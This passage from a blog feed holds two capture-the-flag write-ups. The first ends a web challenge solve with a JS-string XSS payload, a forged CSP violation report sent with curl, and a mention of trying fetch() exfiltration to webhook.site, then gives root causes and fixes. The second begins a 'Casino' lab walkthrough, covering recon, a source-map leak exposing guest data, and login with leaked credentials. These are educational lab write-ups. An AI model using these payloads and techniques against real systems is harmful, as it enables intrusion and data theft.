&lt;strong&gt;It's &lt;code&gt;Content-Security-Policy-Report-Only&lt;/code&gt;, not an enforcing &lt;code&gt;Content-Security-Policy&lt;/code&gt;.&lt;/strong&gt; Report-only mode never blocks script execution - it only asks the browser to send a violation report. So this header does nothing to stop the injected &lt;code&gt;alert(1)&lt;/code&gt; from running.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Even if it were enforcing, the nonce wouldn't help here.&lt;/strong&gt; The injected code isn't a &lt;em&gt;new&lt;/em&gt; &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag - it executes inside the &lt;em&gt;same&lt;/em&gt; inline &lt;code&gt;&amp;lt;script nonce="..."&amp;gt;&lt;/code&gt; block the server already trusts, because the injection point is a value interpolated into that block's source. Nonce-based CSP stops attackers from adding new script elements; it does nothing when the attacker's code lands inside an already-nonced element via unescaped interpolation.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The policy does point violation reports at a dedicated endpoint, &lt;code&gt;/__csp-report.php&lt;/code&gt; - worth noting for later.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Dead Ends: Chasing a Classic XSS Detector
&lt;/h2&gt;

&lt;p&gt;Before finding the real solve condition, it's worth documenting what &lt;em&gt;doesn't&lt;/em&gt; work, since this challenge deliberately avoids the usual patterns:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Just popping &lt;code&gt;alert(1)&lt;/code&gt; and re-checking &lt;code&gt;/__status.php&lt;/code&gt;&lt;/strong&gt; - no change. There's no headless browser on the server watching for a JS-level side effect from a single request.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Exfiltrating to an external webhook&lt;/strong&gt; (&lt;code&gt;fetch("https://webhook.site/...")&lt;/code&gt; injected via the same payload) - no change either. The challenge isn't waiting for outbound interaction to a third party.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Directly POSTing to &lt;code&gt;/__status.php&lt;/code&gt;&lt;/strong&gt; (e.g. &lt;code&gt;-d 'solved=true'&lt;/code&gt;) - rejected; the endpoint doesn't accept client-supplied state.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This rules out both "headless-browser-visits-the-payload" and "trust-the-client" solve mechanisms.&lt;/p&gt;

&lt;h2&gt;
  
  
  6. The Actual Solve Condition
&lt;/h2&gt;

&lt;p&gt;Since the CSP is report-only and &lt;code&gt;report-uri&lt;/code&gt; points at &lt;code&gt;/__csp-report.php&lt;/code&gt;, the natural hypothesis is that the backend treats an incoming, well-formed CSP violation report as proof that the injected script actually executed in a browser and triggered a (simulated) violation - i.e. the challenge's detection logic lives server-side in that report handler, not in an automated headless-browser check.&lt;/p&gt;

&lt;p&gt;Sending a crafted report that matches the shape a real browser would produce for this exact policy:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s1"&gt;'https://.../__csp-report.php'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/csp-report'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{
    "csp-report": {
      "document-uri": "https://.../?zone=test",
      "violated-directive": "script-src",
      "original-policy": "default-src '&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;'self'&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;'; script-src '&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;'nonce-xxx'&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;' '&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;'self'&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;'; style-src '&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;'self'&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;' '&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;'unsafe-inline'&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;'; img-src '&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;'self'&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;' data:; report-uri /__csp-report.php",
      "blocked-uri": "inline",
      "source-file": "https://.../?zone=test",
      "line-number": 1,
      "column-number": 1,
      "status-code": 200
    }
  }'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-c&lt;/span&gt; cookies.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Server responds &lt;code&gt;204 No Content&lt;/code&gt; and sets a session cookie. Re-checking the status endpoint &lt;strong&gt;with that cookie&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt https://.../__status.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"solved"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"flag"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"WEBVERSE{[REDACTED]}"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The session is now marked solved, and &lt;code&gt;poll.js&lt;/code&gt; in a real browser would reveal the on-page banner with the flag.&lt;/p&gt;

&lt;h2&gt;
  
  
  7. Full Reproduction (Copy-Paste)
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 1. Confirm the JS-context injection (optional, for verification)&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-G&lt;/span&gt; &lt;span class="s1"&gt;'https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s1"&gt;'zone="};alert(1);//'&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="s1"&gt;'var CFG = {.*}'&lt;/span&gt;

&lt;span class="c"&gt;# 2. Submit a CSP violation report matching the page's policy, saving the session cookie&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s1"&gt;'https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/__csp-report.php'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/csp-report'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"csp-report":{"document-uri":"https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/?zone=test","violated-directive":"script-src","original-policy":"default-src '&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;'self'&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;'; script-src '&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;'nonce-xxx'&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;' '&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;'self'&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;'; style-src '&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;'self'&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;' '&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;'unsafe-inline'&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;'; img-src '&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;'self'&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;' data:; report-uri /__csp-report.php","blocked-uri":"inline","source-file":"https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/?zone=test","line-number":1,"column-number":1,"status-code":200}}'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-c&lt;/span&gt; cookies.txt

&lt;span class="c"&gt;# 3. Retrieve the flag&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/__status.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Result:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"solved"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"flag"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"WEBVERSE{[REDACTED]}"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  8. Root Cause
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Unescaped reflection into a JS string literal.&lt;/strong&gt; The &lt;code&gt;zone&lt;/code&gt; query parameter is written directly into an inline &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; block without JSON/JS-string encoding, allowing an attacker to break out of the string and inject arbitrary statements.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CSP deployed in report-only mode.&lt;/strong&gt; A correctly configured nonce-based &lt;code&gt;script-src&lt;/code&gt; would ordinarily stop injected &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; &lt;em&gt;tags&lt;/em&gt;, but here it wasn't even enforcing - so it provided no runtime protection at all, only telemetry.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The report endpoint trusts client-submitted reports as proof of exploitation&lt;/strong&gt;, rather than verifying server-side that a real browser executed the payload (e.g. via a headless-browser bot visiting the crafted URL). This makes the "detection" itself forgeable: any client that can construct a plausible CSP report body can mark the challenge solved without ever running the injected JavaScript.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  9. Fix Recommendations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Never interpolate user input into inline &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; source via string concatenation. Encode values with &lt;code&gt;JSON.stringify()&lt;/code&gt; (escaping &lt;code&gt;&amp;lt;&lt;/code&gt;, &lt;code&gt;&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;amp;&lt;/code&gt;, and quotes) before embedding them, or better, pass data via a &lt;code&gt;data-*&lt;/code&gt; attribute and read it with &lt;code&gt;textContent&lt;/code&gt;/&lt;code&gt;getAttribute&lt;/code&gt;, as &lt;code&gt;map.js&lt;/code&gt; already does safely elsewhere on this page.&lt;/li&gt;
&lt;li&gt;Enforce the CSP (&lt;code&gt;Content-Security-Policy&lt;/code&gt;, not &lt;code&gt;-Report-Only&lt;/code&gt;) so that even if an injection point exists, arbitrary inline script still can't execute.&lt;/li&gt;
&lt;li&gt;If using CSP reports as a solve-detection mechanism for a training/CTF environment, validate them against server-side state (e.g. correlate &lt;code&gt;document-uri&lt;/code&gt;/&lt;code&gt;blocked-uri&lt;/code&gt; with a nonce or challenge token that was actually served and can't be guessed or replayed), rather than accepting any well-formed report body at face value.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>writeup</category>
      <category>webverselabs</category>
    </item>
    <item>
      <title>HackSmarter - Casino Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Tue, 25 Aug 2026 13:04:45 +0000</pubDate>
      <link>https://dev.to/exploitnotes/hacksmarter-casino-writeup-2e7h</link>
      <guid>https://dev.to/exploitnotes/hacksmarter-casino-writeup-2e7h</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;Casino is a Flask-based "Guest WiFi &amp;amp; Portal" resort captive portal. A leaked JS source-map exposes an unauthenticated internal API endpoint (&lt;code&gt;/api/v1/rooms/status&lt;/code&gt;) that dumps the entire guest database, giving away valid room-number/last-name pairs used by the login form. Logging in as a leaked guest exposes a &lt;code&gt;display_name&lt;/code&gt; field on &lt;code&gt;/profile&lt;/code&gt; that is vulnerable to server-side template injection (Jinja2 SSTI), leading to RCE as &lt;code&gt;www-data&lt;/code&gt; inside the app's Docker container. From there, a readable &lt;code&gt;.bash_history&lt;/code&gt; in another user's home directory leaks a plaintext MySQL password that gets reused as a local &lt;code&gt;su&lt;/code&gt; password, and group membership in &lt;code&gt;adm&lt;/code&gt; grants read access to a provisioning log containing the root sync credential, which fully compromises the host.&lt;/p&gt;

&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;

&lt;p&gt;Full TCP scan:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-p-&lt;/span&gt; &amp;lt;MACHINE-IP&amp;gt; &lt;span class="nt"&gt;-o&lt;/span&gt; nmap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Werkzeug httpd 3.1.8 (Python 3.10.18)
|_http-server-header: Werkzeug/3.1.8 Python/3.10.18
| http-title: Hack Smarter World - Guest WiFi &amp;amp; Portal
|_Requested resource was /login
2222/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u7 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two SSH services on different ports and versions (Ubuntu on 22, Debian on 2222) is an early hint we're looking at a host fronting (or containing) a separate Linux environment. Port 80 is a Flask app served through Werkzeug's dev server, titled "Hack Smarter World - Guest WiFi &amp;amp; Portal".&lt;/p&gt;

&lt;p&gt;Content discovery:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;dirsearch &lt;span class="nt"&gt;-u&lt;/span&gt; http://&amp;lt;MACHINE-IP&amp;gt;/ &lt;span class="nt"&gt;-x&lt;/span&gt; 403,404
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[07:42:29] 200 -    5KB - /login
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;whatweb http://&amp;lt;MACHINE-IP&amp;gt;/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://&amp;lt;MACHINE-IP&amp;gt;/ [302 Found] ... RedirectLocation[/login] ... Werkzeug[3.1.8]
http://&amp;lt;MACHINE-IP&amp;gt;/login [200 OK] Bootstrap, HTML5, HTTPServer[Werkzeug/3.1.8 Python/3.10.18] ...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Everything unauthenticated redirects to &lt;code&gt;/login&lt;/code&gt;, which is a captive-portal-style form asking for a room number and a guest's last name.&lt;/p&gt;

&lt;h2&gt;
  
  
  Source map leak → unauthenticated API disclosure
&lt;/h2&gt;

&lt;p&gt;The login page loads a minified script:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://&amp;lt;MACHINE-IP&amp;gt;/static/js/app.min.js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;initPortal&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Hack Smarter World WiFi Gateway Active&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);}&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;DOMContentLoaded&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;initPortal&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;//# sourceMappingURL=app.min.js.map&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The sourcemap reference is still deployed and readable:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://&amp;lt;MACHINE-IP&amp;gt;/static/js/app.min.js.map
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"version"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"file"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"app.min.js"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"sources"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"src/api/roomVerification.js"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"sourcesContent"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s2"&gt;"// Front-Desk Kiosk API verification helper&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;async function checkRoomStatus(roomNum) {&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt; const res = await fetch('/api/v1/rooms/status?status=occupied');&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt; return await res.json();&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;}"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is dead code (the minified bundle never actually calls &lt;code&gt;checkRoomStatus&lt;/code&gt;), but the sourcemap tells us the front-desk kiosk normally talks to an internal API at &lt;code&gt;/api/v1/rooms/status&lt;/code&gt;. Hitting it directly, with no session and no auth:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="s1"&gt;'http://&amp;lt;MACHINE-IP&amp;gt;/api/v1/rooms/status?status=occupied'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"filter"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"occupied"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"rooms"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"checkout"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-08-11"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"guest_name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"[REDACTED]"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"room_number"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"[REDACTED]"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"occupied"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"tier"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Standard Guest"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"checkout"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-08-13"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"guest_name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"[REDACTED]"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;98&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"room_number"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"[REDACTED]"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"occupied"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"tier"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"VIP Premium"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"success"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"total_records"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The endpoint has no authentication and no rate limiting, and returns all 100 occupied rooms with &lt;code&gt;room_number&lt;/code&gt; and &lt;code&gt;guest_name&lt;/code&gt; (last name), exactly the two fields the login form asks for. This is a broken access control / IDOR issue: an internal kiosk API was exposed on the same origin as the guest portal with no distinction in trust level.&lt;/p&gt;

&lt;h2&gt;
  
  
  Login bypass via leaked guest data
&lt;/h2&gt;

&lt;p&gt;Picking an arbitrary entry (room &lt;code&gt;[REDACTED]&lt;/code&gt;, last name &lt;code&gt;[REDACTED]&lt;/code&gt;) and logging in:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; cookies.txt &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s1"&gt;'http://&amp;lt;MACHINE-IP&amp;gt;/login'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'room_number=[REDACTED]'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'last_name=[REDACTED]'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
